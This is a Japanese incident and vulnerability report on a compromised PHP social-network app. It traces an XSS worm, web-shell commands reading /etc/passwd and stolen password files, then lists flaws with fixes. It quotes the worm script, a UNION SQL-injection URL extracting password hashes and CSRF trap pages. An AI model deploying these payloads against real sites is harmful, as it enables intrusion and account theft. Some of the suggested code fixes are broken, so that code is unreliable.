<script>$(function(){if(0==document.forms.length){history.pushState("","","/");var e=new XMLHttpRequest;e.open("POST","http://192.168.11.2/writediary.php",!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.withCredentials=!0;for(var t="id=&mode=write&title=%E6%88%91%E3%80%85%E3%81%AF%E6%A4%9C%E5%87%BA%E3%81%97%E3%81%9F%E3%81%82%E3%81%AA%E3%81%9F%E3%81%AE%E7%96%91%E3%82%8F%E3%81%97%E3%81%84%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%AE%E6%B4%BB%E5%8B%95&content="+encodeURIComponent(document.getElementsByTagName("pre")[0].innerHTML)+"&mode=1",n=new Uint8Array(t.length),E=0;E<n.length;E++)n[E]=t.charCodeAt(E);e.send(new Blob([n]))}});</script>

上記のスクリプトが埋め込まれており、その日記を閲覧したユーザのページに同じ内容の日

記が投稿されてしまうことから、これらはクロスサイトスクリプティング攻撃を行っている

ということがわかった。

21

4.204.20 情報の漏洩⑩情報の漏洩⑩ ログインページが改ざんされたことで /tmp/.z ファイルに保存されていたユーザのパスワー

ド情報を攻撃者がダウンロードしたことが確認された。以下にログを記載する。 /var/log/httpd/access_log-20180930より抜粋

192.168.11.204 - - [28/Sep/2018:15:17:24 +0900] "GET /tmp/.z HTTP/1.1" 200 235 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

192.168.11.204の送信元から、ログインしたユーザのパスワード情報が格納された /tmp/.z ファイルに直接アクセスし、ダウンロードを行った形跡が確認された。これにより、ログイ

ンページが書き換えられて以降にログインしたユーザのパスワード情報が漏洩した。

4.214.21 バックドアの設置バックドアの設置 再び、phpファイルがアップロードされコマンドが実行された。以下にログを記載する。 /var/log/httpd/access_log-20180930より抜粋

192.168.11.143 - - [28/Sep/2018:15:43:04 +0900] "GET /tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php HTTP/1.1" 200 2127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0" 192.168.11.143 - - [28/Sep/2018:15:43:12 +0900] "GET /tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php?cmd=ls HTTP/1.1" 200 71 "http://192.168.11.2/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0" 192.168.11.143 - - [28/Sep/2018:15:46:14 +0900] "GET /tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php?cmd=cat%20/etc/passwd HTTP/1.1" 200 1243 "http://192.168.11.2/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0"

192.168.11.143の送信元から、/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.phpに対してアクセスすることに成功している。 この/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.phpは、攻撃者が作成しメッセー

ジ送信における脆弱性を利用してアップロードしたもの。(脆弱性については後述) アクセス後、GETのcmdパラメータに実行コマンドを入れた通信が行われ、サーバ内の機密

情報が漏洩した。

22

以下は、/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.phpをブラウザで表示した際

の画面である。テキストボックスに任意のコマンドを入力し、送信することで出力結果が表

示される仕組みになっている。

/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.phpを開いた画面

23

4.224.22 トップページの改ざんトップページの改ざん SSHログインしていた192.168.11.204によって、トップページが改ざんされた。 以下にログを記載する。 /var/log/secure-20180930より抜粋

Sep 28 18:11:55 sns sudo: apache : TTY=pts/2 ; PWD=/var/www/html/webmix3/tmp ; USER=root ; COMMAND=/bin/mv index.html /var/www/html/webmix3 Sep 28 18:15:15 sns sudo: apache : TTY=pts/2 ; PWD=/var/www/html/webmix3 ; USER=root ; COMMAND=/bin/rm index.php

攻撃者は、apacheユーザでSSHログイン後、/bin/mv index.html /var/www/html/webmix3からわかるように下記の index.html を作成しドキュメントルート直下に移動させ、本来存

在していた index.php を /bin/rm index.php で削除することでトップページを改ざんしたこ

とがわかった。

改ざんされたトップページ(index.html) 加えて以下のログを確認すると、 index.htmlを移動後、192.168.11.143の送信元から、index.htmlへの直接アクセスが行われて

いることから、動作の確認を行っていることがわかった。

192.168.11.143 - - [28/Sep/2018:18:13:02 +0900] "GET /index.html HTTP/1.1" 200 2118 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"

24

4.234.23 情報の漏洩⑪情報の漏洩⑪ 再び tmp/.zファイルがダウンロードされ、ユーザのパスワード情報が漏洩した。 以下にログを記載する。 /var/log/httpd/access_log-20180930より抜粋

192.168.11.204 - - [28/Sep/2018:19:00:57 +0900] "GET /tmp/.z HTTP/1.1" 200 283 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [28/Sep/2018:19:03:49 +0900] "POST /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 404 320 "http://192.168.11.2/tmp/7449f92ea0f26445e89ae968227efaabtest.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [28/Sep/2018:19:04:20 +0900] "GET /tmp/109d644f26c8e3416a55f4635c59c33btest.php HTTP/1.1" 200 84054 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

192.168.11.204の送信元から、ログインしたユーザのパスワード情報が格納された tmp/.z ファイルに直接アクセスし、ダウンロードを行った形跡が確認された。これにより、ログイ

ンページが書き換えられて以降にログインしたユーザのパスワード情報が漏洩した。 その後、再び仮想端末の動作をする /tmp/7449f92ea0f26445e89ae968227efaabtest.phpを使

用してコマンドを実行しようとするもファイルが無くなっている。 そして次は、 /tmp/109d644f26c8e3416a55f4635c59c33btest.phpというファイルにアクセ

スを行うがどのような動作をしているのかは不明である。

25

webshell.phpの実行

ブラウザからサーバにコマンドを送信・実行させるバックドア「webshell」が保存・実行さ

れた過程について検証する。 まず、攻撃者によるwebshell実行の方法は、大まかに次の手順に分類されると考えられる。 1:sendmessage.phpのファイルアップロードの脆弱性を利用し、webmix3/tmp/配下に  

  webshell.phpを保存させる。 2:webshell.phpを実行するためのパスを特定する。 以下では、それぞれの手順について考える。 手順1: sendmessage.phpにおいて、

sendmessage.php

19 if (move_uploaded_file($_FILES['file']['tmp_name'], "./tmp/".$tname) &&

preg_match("/^[^.]+\.jpg$/",$tname)) {

添付ファイルのアップロード処理部

上記の処理が行われているが、処理の実行順序の問題で、添付ファイルの拡張子の確認前に

フ添付ァイルのアップロードが行われてしまっている。 そのため、本来は.jpgの拡張子を持つファイルしかアップロード出来ない仕様であるはず

が、webshell.phpをアップロードすることが可能である。 ※詳細は後述 [ sendmessage.phpにおいて不正なファイルをアップロード出来てしまう ] サービス 手順2: アップロードしたwebshell.phpを実行するためには、webmix3以降のパス ( 具体的には ”/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php” ) を特定する必要がある。 以下では、攻撃者がパスの特定が行った方法について考える。

Ⅰ:攻撃用のアカウント [ jsmith ] [ winter ] を作成し、jsmith => winter へ、 メッセージを送

信する。 ※jsmith及びwinterは、登録情報及びメッセージのやりとりから攻撃用アカウントと推測

Ⅱ:送られたメッセージの画像を開くと、”/tmp/--------------------------------[ファイル名]”とい

う形式で保存されていることが判別できる。(”--------------------------------” は32桁の文字列)

26

Ⅲ:(同一の時間に同一のメッセージを2つ送信),(別々の時間に同一のメッセージを2つ送信)を比較することで、ファイル名の接頭語に時間を利用したハッシュ値が利用されてい

ることが推測できる。 ※mysqlのmessagesテーブルより ・(同一の時間に同一のメッセージを2つ送信)

mysql messages

| 34 | 10 | 11 | bbb | bbb

 | d80044238b4d8f952abb09ee5a52a5bdtest.jpg | 2018-09-19 13:17:24 |

| 35 | 10 | 11 | bbb | bbb

 | d80044238b4d8f952abb09ee5a52a5bdtest.jpg | 2018-09-19 13:17:24 |

・(別々の時間に同一のメッセージを2つ送信) 

mysql messages

| 31 | 10 | 11 | bbb | bbb

| c53965bdc1fed76b0d8e988c0ac78668test.jpg | 2018-09-19 13:12:33 |

| 33 | 10 | 11 | bbb | bbb

| 8285c460b0f819eb393a65042cb690e2test.jpg | 2018-09-19 13:17:12 |

c53965bdc1fed76b0d8e988c0ac78668test.jpg , 8285c460b0f819eb393a65042cb690e2test.jpg <?php

phpinfo();

c53965bdc1fed76b0d8e988c0ac78668test.jpg , 8285c460b0f819eb393a65042cb690e2test.jpg の中身

以上が確認でき、攻撃者は上記の推測をすることが可能である。

Ⅳ:サーバのレスポンス時間を考慮して1秒毎のハッシュ値を計算し、それぞれでtmp配下

にアップロードしたwebshel.phpにアクセスを試みる。  ※ハッシュ値の特定については後述。

/var/log/httpd/access_log-20180930

./access_log-20180930:192.168.11.143 - - [28/Sep/2018:15:42:46 +0900] "GET

/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php HTTP/1.1" 200 2127 "-"

"python-requests/2.18.4"

./access_log-20180930:192.168.11.143 - - [28/Sep/2018:15:42:47 +0900] "GET

/tmp/e442e257ff0e91879791bb5d1ebc5687webshell.php HTTP/1.1" 404 324 "-"

"python-requests/2.18.4"

./access_log-20180930:192.168.11.143 - - [28/Sep/2018:15:42:47 +0900] "GET

/tmp/490fd6de8f79588a7f16680eeb42b583webshell.php HTTP/1.1" 404 324 "-"

"python-requests/2.18.4"

./access_log-20180930:192.168.11.143 - - [28/Sep/2018:15:42:47 +0900] "GET

/tmp/580efc114089f8e126f81be983c6cd39webshell.php HTTP/1.1" 404 324 "-"

"python-requests/2.18.4"

./access_log-20180930:192.168.11.143 - - [28/Sep/2018:15:42:47 +0900] "GET

/tmp/f8a1a3719917a585f8e0da66bda7ff25webshell.php HTTP/1.1" 404 324 "-"

27

"python-requests/2.18.4"

access_log-20180930より

接頭語 接頭語  ハッシュ値の生成に使用された時間情報ハッシュ値の生成に使用された時間情報

5a566099006d3b60892fb091dac8d1bf 2018/09/28 15:42:46

e442e257ff0e91879791bb5d1ebc5687 2018/09/28 15:42:45

490fd6de8f79588a7f16680eeb42b583 2018/09/28 15:42:44

580efc114089f8e126f81be983c6cd39 2018/09/28 15:42:43

f8a1a3719917a585f8e0da66bda7ff25 2018/09/28 15:42:42

上記のログにより、Ⅲの手順の推測が行われたと考えられる。 また攻撃者は、/tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php HTTP/1.1" 200 2127 より、 パス [ /tmp/5a566099006d3b60892fb091dac8d1bfwebshell.php ] によって、webshell.phpの実行が可能

であることの確認が取れる。 Ⅴ:レスポンスがあったパスを利用し、webshell.phpにアクセスを行う。 ※ハッシュ値の特定について mysqlのmessageのやりとりのログから、攻撃者はハッシュ値の生成に時刻が利用されてい

ることは推測可能であるが、(同一のメッセージを同一時間に異なるidから2つ送信)がさ

れていないため、攻撃者はハッシュ値の生成にid情報を利用していることの確認ができな

い。 また、ハッシュ関数やハッシュに使用する文字列の特定作業は攻撃者のローカル環境で行う

ことができるため、ログからこれ以上の情報は得られなかった。 しかし、32桁の値を返すハッシュ関数は

(md2/md4/md5/tiger128,3/tiger128,4/ripemd128/haval128,3/haval128,4/haval128,5)の9種類である。 使用されているユーザーのid情報が1桁もしくは2桁であり、単純にUNIX時間の直後に付加

する形でハッシュ化していることを考慮すると、総当たりによるハッシュ関数及び元の文字

列の特定は可能だと考えられる。 なお、id情報については後述する[ user.phpのセマンティックURL攻撃に対する脆弱性 ]によって取得可能である。

28

5. 脆弱性について

sendmessage.phpにおいて不正なファイルをアップロード出来てしまう

深刻度 ・基本評価基準:緊急 (10.0) ・現状評価基準:緊急 (10.0) ・環境評価基準:緊急 (10.0)

事象 sendmessage.phpにおいて、画像(.jpgファイル)を添付しアップロードすることが出来る

が、意図しないファイル形式であってもアップロードされてしまう。 【攻撃例】 1.適当なユーザ相手にjpg以外の形式のファイルを添付してSendMessageをする

今回はユーザtestからユーザtest2へ「Fusei_Test.exe」を添付して送信する(メッセージ自

体は弾かれるので内容に意味はない)

29

2.送信に失敗した画面が表示される

もちろん形式がjpg(具体的には、ファイル名の末尾が”.jpg”)でないため、エラー用の画面

が表示される。

3.ファイルのアップロードを確認する

メッセージ自体は保存されないので、今回は設定を変更しサーバにSSH接続可能なように

し、WinSCPを用いて確認した。 画像右部のハイライトされている「8c135dba6179a6cffaee29407ffde399Fusei_Test.exe」があることからアップロードに成功していることがわかる。

30

原因  sendmessage.phpの19行目のファイル形式の判定(後半部分)と同時にアップロードを

行っている。 move_uploaded_fileはファイルをアップロードし、成功したらtrue,失敗した場合falseを返

す。

sendmessage.php

19 if (move_uploaded_file($_FILES['file']['tmp_name'], "./tmp/".$tname) &&

preg_match("/^[^.]+\.jpg$/",$tname)) {

20 $transaction = $user->sendMessage ( $to_user, $_POST ["title"], $_POST

["message"],$tname);

21 } else {

改善点 ファイルのアップロード及びアップロードの成功判定を形式判定の後に行う。 具体的には19~21行目を以下のように変更する

19 if (preg_match("/^[^.]+\.jpg$/",$tname)) {

20 if(move_uploaded_file($_FILES['file']['tmp_name'], "./tmp/".$tname)) {

21 $transaction = $user->sendMessage($to_user, $_POST ["title"], $_POST

["message"], $tname);

22 }

23 } else {

mySQLのrootユーザのパスワードが未設定

深刻度 ・基本評価基準:重要 (8.5) ・現状評価基準:重要 (8.5) ・環境評価基準:重要 (8.5)

事象 mySQLのrootユーザのパスワードが設定されておらず、危険である。

原因  rootユーザのパスワードがデフォルト値のまま変更されていない。

改善点 パスワードを設定する。 具体的にはmySQLにログインし、

update mysql.user set password=password('パスワード') where user = 'root';

を実行する。(’パスワード’を任意の値に変更)

31

writedirary.phpにおけるSQLインジェクション

深刻度 ・基本評価基準:警告 (6.5) ・現状評価基準:警告 (6.5) ・環境評価基準:警告 (5.9)

事象 writediary.phpにおいて日記の編集時、Title欄、Content欄のどちらもSQLインジェクション

が可能である。 該当するSQLはUPDATE文であるため、diaryテーブルの情報が書き換えられる可能性があ

る。 【攻撃例】 1.適当な日記を開き、SQLインジェクションを試みる

今回はタイトル欄に「SQLインジェクションテスト’;」と入力した。 この場合、SQL文

UPDATE diaries SET write_user_id={$this->write_user_id}, title='{$this->title}',

content='{$this->content}', mode={$this->mode} , timestamp=NOW() WHERE id={$this->id}

の '{$this->title}'が、'SQLインジェクション テスト';' として代入され、

UPDATE diaries SET write_user_id={$this->write_user_id}, title='SQLインジェクションテスト

';

セミコロンで区切られるためそれ以下の文のWHERE句などは無視される。 write_user_id={$this->write_user_id}は実行されるため、日記の書き込んだユーザが、今回

ログインしているユーザtestに書き換わる。

32

2.結果確認

他のユーザの日記を含む全日記のタイトルが「SQLインジェクション テスト」に変更さ

れ、書き込んだユーザがユーザtestに変わっている事がわかる。 画像は日記一覧と、id=2の日記を閲覧したもの。id=2の日記はユーザtestが書き込んだもの

ではない。

33

原因  writediary.phpの書き込み処理21行目において実行するsaveについて

34

writediary.php

21 $diary->save ();

Diary.php

66 public function save() {

67 global $db;

68 if ($this->id) {

69 $statement = $db->prepare ( "UPDATE diaries SET

write_user_id={$this->write_user_id}, title='{$this->title}',

content='{$this->content}', mode={$this->mode} , timestamp=NOW() WHERE id={$this->id}"

);

70 $statement->execute ();

72 } else {

73 $statement = $db->prepare ( "INSERT INTO

diaries(write_user_id,title,content,mode) VALUES({$this->write_user_id},

'{$this->title}', '{$this->content}', {$this->mode})" );

74 $statement->execute ();

75 $statement = $db->query ( "SELECT last_insert_id() FROM diaries" );

76 $row = $statement->fetch ();

77 $this->id = $row [0];

78 }

79 }

上書きの際に実行する69行目、新規作成の際に実行する73行目のSQL文がうまくプレース

ホルダを使用出来ていないことである。

改善点 Diary.phpの69-70行目・75-76行目について、プレースホルダを使用することである。 具体的には以下のように変更する

69 $statement = $db->prepare ( "UPDATE diaries SET write_user_id= ? , title=?, content=

mode=, timestamp= ? WHERE id= ? " );

70 $statement->execute ([$this->write_user_id , $this->title , $this->content ,

$this->mode , NOW() , $this->id]);

//

72 $statement = $db->prepare("INSERT INTO diaries(write_user_id,title,content,mode)

VALUES( ? , ?, ? ");

73 $statement->execute([$this->write_user_id, $this->title, $this->content,

$this->mode]);

35

総当たり攻撃への対処について

深刻度 ・基本評価基準:警告 (6.5) ・現状評価基準:警告 (6.5) ・環境評価基準:警告 (5.3)

事象 login.phpにおいて、ブルートフォースアタックや辞書攻撃等の、総当たり攻撃が可能であ

る。 上記パスワードの問題も考慮すると、容易に不正ログインが可能になっている。

原因  単位時間当たりの同一ユーザーからのログイン失敗回数や、単位時間当たりの総ログイン試

行回数、単位時間当たりの総ログイン失敗回数の制限をしていない。

改善点 IPアドレスからの一定時間内のログイン試行回数に制限を設ける。また、同一アカウントへ

の一定時間内のログイン試行回数に制限を設ける。 また、他の攻撃への対策にもなる為、WAFの導入を推奨。

36

readdiary.phpにおいてXSSが可能

深刻度 ・基本評価基準:警告 (4.7) ・現状評価基準:警告 (4.7) ・環境評価基準:注意 (3.8) ※(各画面のcsrf脆弱性について[writediary.php])もしくは  (他人の日記を書き換える)と併用を想定する場合 ・基本評価基準:警告 (6.1) ・現状評価基準:警告 (6.1) ・環境評価基準:警告 (5.4)

事象 日記の書き込み時に不正なスクリプトを埋め込むことができ、その日記を閲覧すると不正な

スクリプトが実行される。 【攻撃例】 1.日記の書き込みにてスクリプトを埋め込んだ日記を投稿する。ユーザはtest

2.その日記を読み込む

先程の日記はユーザtestで書き込んだのでユーザをtest2に切り替え、UserListから公開され

ている先程の日記を選択した。 埋め込んだスクリプトは即時関数なので読み込んだ時点で実行される。

37

画像は先程書いた日記を選択した直後。

原因  writediary.phpの18行目にて

writediary.php

18 $diary->content = $_POST ["content"];

POSTで受け取った値をそのまま格納していることと、 readdiary.phpの22行目にて

readdiary.php

22 <?php echo $diary->content; ?>

とエスケープ処理をせずに直接出力していることが原因。

改善点 エスケープ処理を噛ませる。 具体的にはh関数をwritediary.phpとreaddiary.phpの当該処理において実行する。 ※h関数はlibs.phpの8-10行目の関数で

libs.php

8 function h($str, $flags = ENT_COMPAT, $charset = "UTF-8") {

38

9 return htmlspecialchars ( $str, $flags, $charset );

10 }

となっており、引数を渡すとエスケープ処理をしてくれる。 この関数を使う場合以下のように変更する。

writediary.php

18 $diary->content = h($_POST ["content"]);

readdiary.php

22 <?php echo h($diary->content); ?>

39

userlist.phpにおけるSQLインジェクション

深刻度 ・基本評価基準:警告 (5.3) ・現状評価基準:警告 (5.3) ・環境評価基準:警告 (5.3)

事象 userlist.phpの検索欄にてSQLインジェクションが可能である。該当SQL文はSELECT文であ

るため他のテーブル(例えば、usersテーブルなど)の情報が漏洩してしまう可能性があ

る。 【攻撃例】 1.検索欄に特殊な文字列を入力し検索

「%」とだけ入力し検索した場合、全てのユーザが表示される。 (URLはhttp://192.168.78.3/userlist.php?name=%25)

2.unionを使い他のテーブルを結合し表示させる

今回はURLに以下を設定しアクセスした。 http://192.168.78.3/userlist.php?name=%25')+union+select+1,password,'xx3',2,'xx5',loginid,version()+from+users+--+ これは通常時、ログインIDが表示される場所にパスワードを表示するSQLインジェクション

である。(DBに保存されているパスワードはハッシュ化されているためこのような表示に

なる)

40

また、version()によりSQLのバージョンが5.1.73であることがわかる(画像二枚目)

原因  userlist.phpで検索を行う際に実行するUser.phpのsearchUsers関数の177行目にてGETで取

得した$wordを直接使用している。 177 $statement = $db->query ( "SELECT * FROM users WHERE privilege=0 AND (name LIKE

'%{$word}%' OR loginid LIKE '%{$word}%')" );

178 while ( $row = $statement->fetch () ) {

179 $ret [] = new User ( $row );

180 }

181 }

182 return $ret;

183 }

41

改善点 プレースホルダを使う 具体的には177行目を以下の様に変更する。

177 $statement = $db->prepare("SELECT * FROM users WHERE privilege=0 AND (name LIKE ? OR

loginid LIKE ?");

178 $statement ->execute([$word,$word]);

42

他人の日記を書き換える

深刻度 ・基本評価基準:警告 (5.3)  ・現状評価基準:警告 (5.3) ・環境評価基準:警告 (4.6)

事象 POSTのパラメータのidを適当な値にすると、そのidに対応する日記が書き換わる。 例えば、idに1をセットして渡すとid:1の日記が任意に書き換える事ができる。 【攻撃例】 1.変更したい日記を選ぶ

今回はユーザid:kokubuさんの日記を選ぶ。URLから日記のidが1だということがわかる。 ログインしているユーザはtest。

2.書き換えたい内容の日記をwritediaryにて用意する

今回は以下の画像のような内容にした。

43

3.POSTで送るパラメータ’id’を変更したい日記のIDに書き換える

今回は(1.)で確認したid=1をセットし、送信する。 今回、リクエストで送るパラメータを変更するツールは「BurpSuite」を使用した。 (titleとcontentが文字化けしているがこれは2バイト文字であるため)

4.確認

画像は先程と同じようにUserListからユーザkokubuを検索し、日記一覧を表示したものと、

その日記を表示したもの。 ユーザtestからユーザkokubuの日記が変更できたことが確認できた。

44

原因 writediary.phpの日記を書き込む一連の流れ(10~21行目)の15行目(日記の書き換えの場

合、上書きする処理)で、idが指定されていた場合、そのidの日記を書き換えるようになっ

ている。

writediary.php

10 if ($_SERVER ["REQUEST_METHOD"] == "POST" && isset ( $_POST ["mode"] )) {

11 if ($_POST ["id"] == "") {

45

12 $diary = new Diary ();

13 $diary->write_user_id = $user->id;

14 } else {

15 $diary = Diary::getDiary ( $_POST ["id"] );

16 }

改善点 変更しようとしてる日記が自分の日記かの判定を付け加える。 不正な値を受け取った場合は、処理を中断しエラー表示をする等。 writediary.phpの14~16行目を以下のように書き換える。

writediary.php

14 } else {

15 $diary = Diary::getDiary ( $_POST ["id"] );

16 if(!($diary -> write_user_id == $user -> id)){

17 echo "<h1>不正なIDが指定されています</h1>";

18 exit;

19 }

20 }

*多分これで大丈夫なはず。未実証

46

存在するユーザにアクセスしようとするとForbidenが表示される

深刻度 ・基本評価基準:警告 (5.3) ・現状評価基準:警告 (5.3) ・環境評価基準:警告 (5.3)

事象 存在するユーザを調査されてしまう。 存在しないユーザにアクセスした場合 adminユーザにアクセス

存在するユーザにアクセスした場合 mbsdユーザにアクセス

rootユーザにアクセス

47

原因  ユーザディレクトリがONになっている。

改善点 /etc/httpd/conf/httpd.confの UserDir public_html を UserDir disabled に書き換える その後apacheを再起動し~rootにアクセスをした場合 Not Foundが返ってくるようになる。

48

readdiary.phpのセマンティックURL攻撃に対する脆弱性

深刻度 ・基本評価基準:警告 (5.3)  ・現状評価基準:警告 (5.3) ・環境評価基準:警告 (4.6)

事象 getのパラメータを[id=1]などと指定することで、そのIDに対応する日記が表示される。 日記が[下書き]や[フレンドのみ公開]とされている場合も、他者が閲覧可能である。 【攻撃例】 1.適当な日記を開く

URLを確認すると、「http://192.168.78.3/readdiary.php?id=62」となっており、GETでidを渡し、それに対応した日記が表示されていることがわかる。

2.GETのidを変更しアクセスを試みる

今回は事前にユーザtest2で、画像のような日記を用意した。公開状態は「下書き」とし、

通常、他のアカウントからは閲覧することができない状態とした。 用意した日記はid=63だったので、 「http://192.168.78.3/readdiary.php?id=63」に変更し、アクセスした。 画像の様に、”下書き”状態や”フレンドのみに公開”の日記であっても閲覧することが可能と

なる。

49

原因  閲覧者が日記の閲覧権限を持つかどうかの確認をuser.phpのみで行なっていることが原因。

69 $diaries = array ();

70 foreach ( $to_user->getDiaries () as $tmp ) {

71 if($tmp->isReadable($user)){

72 $diaries [] = array (

73 id => $tmp->id,

74 title => $tmp->title,

75 timestamp => $tmp->timestamp

76 );

77 }

78 }

user.phpの権限確認部 本来、閲覧権限のない日記はuserlist.phpの日記一覧に表示されないが、URLから直接アク

セスすることで閲覧が可能である。

改善点 readdiary.php 5行目に以下の処理を追加する。

if(! $diary->isReadable($user)){

header ( "Location: ./userlist.php" );

exit ();

}

上記の処理により、日記の内容を表示する前に再度閲覧可能かチェックする。

50

user.phpのセマンティックURL攻撃に対する脆弱性

深刻度 ・基本評価基準:警告 (5.3)  ・現状評価基準:警告 (5.3) ・環境評価基準:警告 (4.6)

事象 URLを[ user.php?id=1 ]などと指定することで、そのIDに対応する(個人情報

[id,loginid,name, gender,birthday,is_friend] フレンド情報[id,loginid,name, gender,birthday] 日記情報[id,title,timestamp])が表示される。

URL:user.php?id=2 にアクセスした時の表示

これにより、本来公開されない情報である、フレンド以外の誕生日を第三者が閲覧すること

ができる。

原因  必要以上の情報を取得出来る仕組みになっている。 (フレンド以外のbirthday情報は不要である) user.phpの82行目にて

user.php

82 echo json_encode ( $ret );

と各種情報をechoしていることが原因。 本来user.phpは、userlist.phpからのページ遷移もしくはgetJSON関数の呼び出しでのみ利用

されるページであるため、URLから直接のアクセスを考慮していない。

userlist.php

23 $.getJSON( './user.php', {id:friend_id}, function(data){

userlist.php

111 <form method="POST" action="./user.php">

userlist.php呼び出し部

51

改善点 user.phpにおいて

user.php

45 $ret = array (

46 id => $to_user->id,

47 loginid => $to_user->loginid,

48 name => $to_user->name,

49 gender => $to_user->gender,

50 birthday => $to_user->prof,

51 is_friend => $user->isFriend ( $to_user ) ? true : false

52 );

[ is_friend=false ] であれば、[ birthday=> ” ” ] と処理する。

52

各画面のcsrfの脆弱性について

深刻度 writediary.php ・基本評価基準:警告 (4.3) ・現状評価基準:警告 (4.3) ・環境評価基準:注意 (3.6) changeprofile.php ・基本評価基準:警告 (4.3) ・現状評価基準:警告 (4.3) ・環境評価基準:注意 (3.6) index.php ・基本評価基準:なし (0.0) ・現状評価基準:なし (0.0) ・環境評価基準:なし (0.0) logout.php ・基本評価基準:なし (0.0) ・現状評価基準:なし (0.0) ・環境評価基準:なし (0.0)

事象 以下の画面について、csrfが可能である。 writediary.php 任意の日記を書き込ませる

<body onload="document.testForm.submit()" >

<form name="testForm" action="http://192.168.56.101/writediary.php" method="post">

<input type="hidden" name="id" value="">

<input type="hidden" name="mode" value="2">

<input type="hidden" name="title" value="testTitle">

<input type="hidden" name="content" value="testContent">

</form>

</body>

罠サイト例

changeprofile.php 任意のプロフィールに変更させる

<body onload="document.testForm.submit()" >

<form name="testForm" action="http://192.168.56.101/changeprofile.php" method="post">

<input type="hidden" name="mode" value="changeProfile">

<input type="hidden" name="name" value="csrf">

<input type="hidden" name="gender" value="F">

<input type="hidden" name="birthday" value="1111/11/11">

</form>

53

</body>

罠サイト例

index.php 攻撃者が予め送信したフレンド申請を許可させる

<body onload="document.testForm.submit()" >

<form name="testForm" action="http://192.168.56.101/index.php" method="post">

<input type="hidden" name="type" value="1">

<input type="hidden" name="from_id" value="15">

</form>

</body>

罠サイト例

logout.php ログアウトさせる

<body onload="document.testForm.submit()" >

<form name="testForm" action="http://192.168.56.101/logout.php" method="post">

</form>

</body>

罠サイト例

原因  各画面で[ csrf_token ]の確認を行なっていない。

改善点 全てのページにおいて、各処理前に以下の確認を行う。

if (isset ( $_POST ["csrf_token"] ) && tokencheck ())

また、各ページへの遷移において<form>を利用し、<form>タグ内に以下の<input>タグを追

加する。

<input type="hidden" name="csrf_token"

   value="<?php echo $_SESSION["csrf_token"]; ?>">

なお、changeprofile.phpの<form>タグ内に以下の<input>タグが格納されているが、パラ

メータの推測が可能でありパラメータ名にも問題がある。 後のサイト改修時に脆弱性を生じる可能性があるため削除する。

changeprofile.php

69 <input type="hidden" name="crsf_tekon"value="<?php print sha1(time()); ?>">

54

XST(Cross-Site-Tracing)の脆弱性

深刻度 ・基本評価基準:なし (0) ・現状評価基準:なし (0) ・環境評価基準:なし (0)  ※攻撃が成立した場合の被害は大きいが、現在では実質的に実行不可能なため、全て0とした。

事象 XSTが実行される危険性がある。現在では全ての主要なブラウザで対策されているが、対策

をするべきである。

原因  TRACEメソッドが有効になっている。

改善点 /etc/httpd/conf/httpd.confに TraceEnable off を書き加える

IPtablesが機能していない

深刻度

事象 CentOS 6でのファイアウォールであるiptablesが機能していない 不要なポートは閉じておくべきです。

原因

chkconfigにてiptablesが起動していない。 [root@sns ~]# chkconfig --list | grep iptables iptables 0:off 1:off 2:off 3:off 4:off 5:off 6:off 解決策 [root@sns ~]# chkconfig iptables on [root@sns ~]# service iptables start

DoS攻撃の脆弱性

深刻度 CVSS:7.8

55

事象 DoS攻撃が可能である。サービスが停止する可能性がある。 以下、一台のmetasploitモジュールでのCPU使用率

原因 Apacheのバージョンが2.2.15でありCVE-2011-3192が利用可能

改善点 バージョンアップデートを行う

56

66. 脆弱性ではない仕様上の問題点 脆弱性ではない仕様上の問題点

深刻度 ・基本評価基準:なし (0) ・現状評価基準:なし (0) ・環境評価基準:なし (0)

ログイン時にパスワードを平文で送信している問題

事象 ログイン時にパスワードを平文で送信しているため、通信の盗聴やDNSキャッシュポイズ

ニング・ARPキャッシュポイズニング等の攻撃によるパスワード漏洩の可能性がある。

原因  HTTP通信を使用している。また、login.phpのログインIDとパスワードを送信する際、ユー

ザーが<input>に入力した情報をそのまま送信している。

login.php

<form class="pure-form pure-form-stacked" method="POST">

<fieldset>

<label for="loginid">LoginID</label> <input id="loginid"

name="loginid" type="text" placeholder="LoginID"

required="required"> <label for="password">Password</label> <input

id="password" name="password" type="password"

placeholder="Password" required="required">

<button type="submit" class="pure-button btn1">ログイン</button>

</fieldset>

</form>

login.phpのログインフォーム部

改善点 HTTPS通信を導入、強制する。

57

sendmessage.phpのメッセージ送信の宛先に関する問題

事象 フレンド以外のユーザーに対してメッセージの送信が可能 【例】 1.SendMessageで送るメッセージを準備

新規に作成してユーザtest3から送信を試みる。

2.POSTリクエストのパラメータを書き換える

今回はユーザを指定しなかったのでパラメータに”to_id”はなかったので、”to_id”を追加し、16をセットした。 id=16はユーザtest。送信成功の画面が表示され、送信できたことがわかる。

58

3.確認する

送信先のユーザtestに切り替えて確認する。ユーザtest3はフレンドではないのに

メッセージを受信していることがわかる。

59

60

